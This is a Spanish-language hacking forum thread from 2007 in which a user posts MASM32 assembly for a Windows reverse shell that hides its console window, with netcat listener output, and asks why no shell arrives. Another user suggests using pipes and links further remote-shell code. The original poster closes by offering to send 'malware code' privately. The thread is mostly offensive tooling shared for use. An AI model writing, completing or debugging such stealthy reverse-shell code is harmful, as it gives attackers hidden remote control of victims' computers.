elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
30 Agosto 2008, 11:29  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, zhyzura)
| | |-+  Reverse Shell con MASM32
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Reverse Shell con MASM32  (Leído 660 veces)
Rozor

Desconectado Desconectado

Mensajes: 229


As I Walk Through The Valley Of The Shadow Of Dead


Ver Perfil WWW
Reverse Shell con MASM32
« en: 04 Mayo 2007, 16:22 »

Hola, he estado programando una shell inversa en MASM.

El tema es que ensambla y conecta pero no envia shell. Hos dejo el codigo para que lo veais

Código:
.386
.model flat,stdcall

option casemap:none

  include \masm32\include\wsock32.inc
  include \masm32\include\windows.inc
  include \masm32\include\kernel32.inc

  includelib \masm32\lib\wsock32.lib
  includelib \masm32\lib\kernel32.lib

   

.data

  Ip db "127.0.0.1",0
  App db "cmd", 0
  Puerto dd 7777
  wsa WSADATA <>
  sinnnn sockaddr_in <>
  sinfo STARTUPINFO <>
  pinfo PROCESS_INFORMATION <>


.data?
  Socket dd ?

.code

 Inicio:
             
   invoke WSAStartup, 00100000b, addr wsa
   invoke socket, AF_INET, SOCK_STREAM, 0
   mov Socket,eax
   mov sinnnn.sin_family, AF_INET
   invoke htons, Puerto
   mov sinnnn.sin_port, ax
   invoke inet_addr, addr Ip
   mov sinnnn.sin_addr, eax
   invoke connect, Socket, addr sinnnn, sizeof sinnnn
   
   mov sinfo.cb, sizeof STARTUPINFO
   mov sinfo.wShowWindow, SW_HIDE
   mov sinfo.lpReserved, NULL
   mov sinfo.lpDesktop, NULL
   mov sinfo.lpTitle, NULL
   mov sinfo.dwFlags, STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW
   mov eax, Socket
   push eax
   mov [sinfo.hStdInput], eax
   mov [sinfo.hStdOutput], eax
   mov [sinfo.hStdError], eax   
   invoke CreateProcess, NULL, addr App, NULL, NULL, 1, 0, NULL, NULL, addr sinfo, addr pinfo
   invoke ExitProcess, 0
   
end Inicio

;by Rozor



Ejecucion: (Escucha con netcat )

Código:

C:\>nc -vv -l -p7777
listening on [any] 7777 ...
DNS fwd/rev mismatch: localhost != mofly
connect to [127.0.0.1] from localhost [127.0.0.1] 1791
 sent 0, rcvd 0



No envia shell.
En línea

Cita de: ®®
prueba con _asm("codigo");
Achernar

Desconectado Desconectado

Mensajes: 321



Ver Perfil
Re: Reverse Shell con MASM32
« Respuesta #1 en: 09 Mayo 2007, 22:54 »

uhh buenisimo, pense que era el unico que le intreresaba el codigo de una shell remota  ;D

Citar
   mov eax, Socket
   push eax
   mov [sinfo.hStdInput], eax
   mov [sinfo.hStdOutput], eax
   mov [sinfo.hStdError], eax   

en este momento no tengo tiempo asi que te escribo lo poco que me acuerdo y despues investigo un poco mas...
creo que lo que hiciste mal aca es que le pasaste el manejador del socket a la estructura, pero creo que le tenes que pasar el manejador de un pipe y creo que no puede ser el mismo para salida y para entrada (hay pipes de una y dos direcciones o algo asi  :P yo me refiero a los unidireccionales)
despues tu aplicacion tendria que recoger los datos a traves de los pipes y enviarlos con send(), y ademas creo que tendrias que programar la aplicacion que recibe los mensajes.

Che si te interesa me anoto para hacer esto juntos de verdad que me interesa mucho, ya hace un tiempo habia hecho algo muy rustico pero parecido en VB. solo que sin sokets... era una aplicacion que se comunicaba por pipes con una consola de ms-dos

aca hay un poco sobre pipes...

http://www.hackemate.com.ar/mirrors/karpoff/manuales/asm_win32/tut21_es.html
En línea
Achernar

Desconectado Desconectado

Mensajes: 321



Ver Perfil
Re: Reverse Shell con MASM32
« Respuesta #2 en: 11 Mayo 2007, 14:33 »

jajajajaj no me equivocaba cuando programando pipes sospechaba que eso era lo que se usaba para crear una shell remota  ;D

http://foro.elhacker.net/index.php/topic,156056.0.html

y acà esta lo que encontre.. es un texto que explica como programar una shell remota (no inversa, la inversa es mas facil porque es un cliente. una shell remota directa es mas dificil poque hay que usar ademas las funciones bind, listen y accept... ya que se trata de un server con todas las de la ley)
Este texto confirma mis sospechas sobre los pipes... estan muy bien explicados los pasos... directamente lei el texto y ni mire el codigo, viendo las funciones lo hice en VB6 sin la funcion peeknamedpipe (lo que me ocaciono elgunas colgadas cuando leia un pipe si que tenga datos) y funka bastante bien... voy a ver si lo puedo codear en masm32.
sin mas preambulos...  ;)

http://community.corest.com/~juliano/P55-15-win32_overflow-es.txt

PD: la verdad que seria genial conectar la shell un servidor de IRC y chatear un rato con el...  :xD
En línea
Achernar

Desconectado Desconectado

Mensajes: 321



Ver Perfil
Re: Reverse Shell con MASM32
« Respuesta #3 en: 11 Mayo 2007, 14:39 »

 :P y dos segundos despues de postear encuentro el codigo...

http://www.forum.anonymous.ru/archive/index.php/t-1437.html

encontre tanta info de repente que esa gran duda que tenia... se esta volviendo algo vulgar  :-\
En línea
Rozor

Desconectado Desconectado

Mensajes: 229


As I Walk Through The Valley Of The Shadow Of Dead


Ver Perfil WWW
Re: Reverse Shell con MASM32
« Respuesta #4 en: 11 Mayo 2007, 17:53 »

Pues muchas gracias tio de verdad me has echo un rey. He visto un post tuyo, si quieres codigo malware mandame un privado y te envio algo gracias compi :)
En línea

Cita de: ®®
prueba con _asm("codigo");
Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC